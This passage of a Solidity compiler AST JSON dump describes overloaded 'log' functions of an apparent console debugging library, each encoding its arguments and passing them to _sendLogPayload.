nternal"},{"id":19527,"nodeType":"FunctionDefinition","src":"32041:175:14","nodes":[],"body":{"id":19526,"nodeType":"Block","src":"32113:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c626f6f6c2c75696e7429","id":19518,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"32163:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_550e6ef516f1b3b5be9432b068022af744a919b7f9554b6605ddb59dad27875f","typeString":"literal_string \"log(string,uint,bool,uint)\""},"value":"log(string,uint,bool,uint)"},{"id":19519,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19506,"src":"32193:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19520,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19508,"src":"32197:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19521,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19510,"src":"32201:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19522,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19512,"src":"32205:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_550e6ef516f1b3b5be9432b068022af744a919b7f9554b6605ddb59dad27875f","typeString":"literal_string \"log(string,uint,bool,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19516,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"32139:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19517,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"32143:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"32139:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19523,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32139:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19515,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"32123:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32123:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19525,"nodeType":"ExpressionStatement","src":"32123:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32050:3:14","parameters":{"id":19513,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19506,"mutability":"mutable","name":"p0","nameLocation":"32068:2:14","nodeType":"VariableDeclaration","scope":19527,"src":"32054:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19505,"name":"string","nodeType":"ElementaryTypeName","src":"32054:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19508,"mutability":"mutable","name":"p1","nameLocation":"32077:2:14","nodeType":"VariableDeclaration","scope":19527,"src":"32072:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19507,"name":"uint","nodeType":"ElementaryTypeName","src":"32072:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19510,"mutability":"mutable","name":"p2","nameLocation":"32086:2:14","nodeType":"VariableDeclaration","scope":19527,"src":"32081:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19509,"name":"bool","nodeType":"ElementaryTypeName","src":"32081:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19512,"mutability":"mutable","name":"p3","nameLocation":"32095:2:14","nodeType":"VariableDeclaration","scope":19527,"src":"32090:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19511,"name":"uint","nodeType":"ElementaryTypeName","src":"32090:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"32053:45:14"},"returnParameters":{"id":19514,"nodeType":"ParameterList","parameters":[],"src":"32113:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19550,"nodeType":"FunctionDefinition","src":"32222:186:14","nodes":[],"body":{"id":19549,"nodeType":"Block","src":"32303:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c626f6f6c2c737472696e6729","id":19541,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"32353:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_76cc6064a225b36730abdd64aa9dcb74a19c97e79a6eaa7e7a7381b59d8b3f68","typeString":"literal_string \"log(string,uint,bool,string)\""},"value":"log(string,uint,bool,string)"},{"id":19542,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19529,"src":"32385:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19543,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19531,"src":"32389:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19544,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19533,"src":"32393:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19545,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19535,"src":"32397:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_76cc6064a225b36730abdd64aa9dcb74a19c97e79a6eaa7e7a7381b59d8b3f68","typeString":"literal_string \"log(string,uint,bool,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19539,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"32329:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19540,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"32333:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"32329:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19546,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32329:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19538,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"32313:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19547,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32313:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19548,"nodeType":"ExpressionStatement","src":"32313:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32231:3:14","parameters":{"id":19536,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19529,"mutability":"mutable","name":"p0","nameLocation":"32249:2:14","nodeType":"VariableDeclaration","scope":19550,"src":"32235:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19528,"name":"string","nodeType":"ElementaryTypeName","src":"32235:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19531,"mutability":"mutable","name":"p1","nameLocation":"32258:2:14","nodeType":"VariableDeclaration","scope":19550,"src":"32253:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19530,"name":"uint","nodeType":"ElementaryTypeName","src":"32253:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19533,"mutability":"mutable","name":"p2","nameLocation":"32267:2:14","nodeType":"VariableDeclaration","scope":19550,"src":"32262:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19532,"name":"bool","nodeType":"ElementaryTypeName","src":"32262:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19535,"mutability":"mutable","name":"p3","nameLocation":"32285:2:14","nodeType":"VariableDeclaration","scope":19550,"src":"32271:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19534,"name":"string","nodeType":"ElementaryTypeName","src":"32271:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32234:54:14"},"returnParameters":{"id":19537,"nodeType":"ParameterList","parameters":[],"src":"32303:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19573,"nodeType":"FunctionDefinition","src":"32414:175:14","nodes":[],"body":{"id":19572,"nodeType":"Block","src":"32486:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c626f6f6c2c626f6f6c29","id":19564,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"32536:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e37ff3d07873d5117abd74fe9be70fdadf355b74510a6f7507b0edd4a0032d7f","typeString":"literal_string \"log(string,uint,bool,bool)\""},"value":"log(string,uint,bool,bool)"},{"id":19565,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19552,"src":"32566:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19566,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19554,"src":"32570:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19567,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19556,"src":"32574:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19568,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19558,"src":"32578:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e37ff3d07873d5117abd74fe9be70fdadf355b74510a6f7507b0edd4a0032d7f","typeString":"literal_string \"log(string,uint,bool,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19562,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"32512:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19563,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"32516:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"32512:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19569,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32512:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19561,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"32496:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19570,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32496:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19571,"nodeType":"ExpressionStatement","src":"32496:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32423:3:14","parameters":{"id":19559,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19552,"mutability":"mutable","name":"p0","nameLocation":"32441:2:14","nodeType":"VariableDeclaration","scope":19573,"src":"32427:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19551,"name":"string","nodeType":"ElementaryTypeName","src":"32427:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19554,"mutability":"mutable","name":"p1","nameLocation":"32450:2:14","nodeType":"VariableDeclaration","scope":19573,"src":"32445:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19553,"name":"uint","nodeType":"ElementaryTypeName","src":"32445:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19556,"mutability":"mutable","name":"p2","nameLocation":"32459:2:14","nodeType":"VariableDeclaration","scope":19573,"src":"32454:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19555,"name":"bool","nodeType":"ElementaryTypeName","src":"32454:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19558,"mutability":"mutable","name":"p3","nameLocation":"32468:2:14","nodeType":"VariableDeclaration","scope":19573,"src":"32463:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19557,"name":"bool","nodeType":"ElementaryTypeName","src":"32463:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"32426:45:14"},"returnParameters":{"id":19560,"nodeType":"ParameterList","parameters":[],"src":"32486:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19596,"nodeType":"FunctionDefinition","src":"32595:181:14","nodes":[],"body":{"id":19595,"nodeType":"Block","src":"32670:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c626f6f6c2c6164647265737329","id":19587,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"32720:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e5549d91ec2998207f70463fe94a71d0edc39b13b219ff8feb87dd990a616539","typeString":"literal_string \"log(string,uint,bool,address)\""},"value":"log(string,uint,bool,address)"},{"id":19588,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19575,"src":"32753:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19589,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19577,"src":"32757:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19590,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19579,"src":"32761:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":19591,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19581,"src":"32765:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e5549d91ec2998207f70463fe94a71d0edc39b13b219ff8feb87dd990a616539","typeString":"literal_string \"log(string,uint,bool,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19585,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"32696:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19586,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"32700:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"32696:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19592,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32696:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19584,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"32680:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19593,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32680:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19594,"nodeType":"ExpressionStatement","src":"32680:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32604:3:14","parameters":{"id":19582,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19575,"mutability":"mutable","name":"p0","nameLocation":"32622:2:14","nodeType":"VariableDeclaration","scope":19596,"src":"32608:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19574,"name":"string","nodeType":"ElementaryTypeName","src":"32608:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19577,"mutability":"mutable","name":"p1","nameLocation":"32631:2:14","nodeType":"VariableDeclaration","scope":19596,"src":"32626:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19576,"name":"uint","nodeType":"ElementaryTypeName","src":"32626:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19579,"mutability":"mutable","name":"p2","nameLocation":"32640:2:14","nodeType":"VariableDeclaration","scope":19596,"src":"32635:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19578,"name":"bool","nodeType":"ElementaryTypeName","src":"32635:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":19581,"mutability":"mutable","name":"p3","nameLocation":"32652:2:14","nodeType":"VariableDeclaration","scope":19596,"src":"32644:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19580,"name":"address","nodeType":"ElementaryTypeName","src":"32644:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"32607:48:14"},"returnParameters":{"id":19583,"nodeType":"ParameterList","parameters":[],"src":"32670:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19619,"nodeType":"FunctionDefinition","src":"32782:181:14","nodes":[],"body":{"id":19618,"nodeType":"Block","src":"32857:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c616464726573732c75696e7429","id":19610,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"32907:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_58497afe9e509136f5cf2fb1db9876437d9cbd769be5985b518ff094427e4f75","typeString":"literal_string \"log(string,uint,address,uint)\""},"value":"log(string,uint,address,uint)"},{"id":19611,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19598,"src":"32940:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19612,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19600,"src":"32944:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19613,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19602,"src":"32948:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19614,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19604,"src":"32952:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_58497afe9e509136f5cf2fb1db9876437d9cbd769be5985b518ff094427e4f75","typeString":"literal_string \"log(string,uint,address,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19608,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"32883:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19609,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"32887:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"32883:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19615,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32883:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19607,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"32867:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19616,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32867:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19617,"nodeType":"ExpressionStatement","src":"32867:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"32791:3:14","parameters":{"id":19605,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19598,"mutability":"mutable","name":"p0","nameLocation":"32809:2:14","nodeType":"VariableDeclaration","scope":19619,"src":"32795:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19597,"name":"string","nodeType":"ElementaryTypeName","src":"32795:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19600,"mutability":"mutable","name":"p1","nameLocation":"32818:2:14","nodeType":"VariableDeclaration","scope":19619,"src":"32813:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19599,"name":"uint","nodeType":"ElementaryTypeName","src":"32813:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19602,"mutability":"mutable","name":"p2","nameLocation":"32830:2:14","nodeType":"VariableDeclaration","scope":19619,"src":"32822:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19601,"name":"address","nodeType":"ElementaryTypeName","src":"32822:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19604,"mutability":"mutable","name":"p3","nameLocation":"32839:2:14","nodeType":"VariableDeclaration","scope":19619,"src":"32834:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19603,"name":"uint","nodeType":"ElementaryTypeName","src":"32834:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"32794:48:14"},"returnParameters":{"id":19606,"nodeType":"ParameterList","parameters":[],"src":"32857:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19642,"nodeType":"FunctionDefinition","src":"32969:192:14","nodes":[],"body":{"id":19641,"nodeType":"Block","src":"33053:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e742c616464726573732c737472696e6729","id":19633,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"33103:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_3254c2e85e824e7dd0b3e2e602f95218ed23a331406e197386693086d91053c0","typeString":"literal_string \"log(string,uint,address,string)\""},"value":"log(string,uint,address,string)"},{"id":19634,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19621,"src":"33138:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19635,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19623,"src":"33142:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19636,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19625,"src":"33146:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19637,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19627,"src":"33150:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3254c2e85e824e7dd0b3e2e602f95218ed23a331406e197386693086d91053c0","typeString":"literal_string \"log(string,uint,address,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19631,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"33079:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19632,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"33083:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"33079:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes 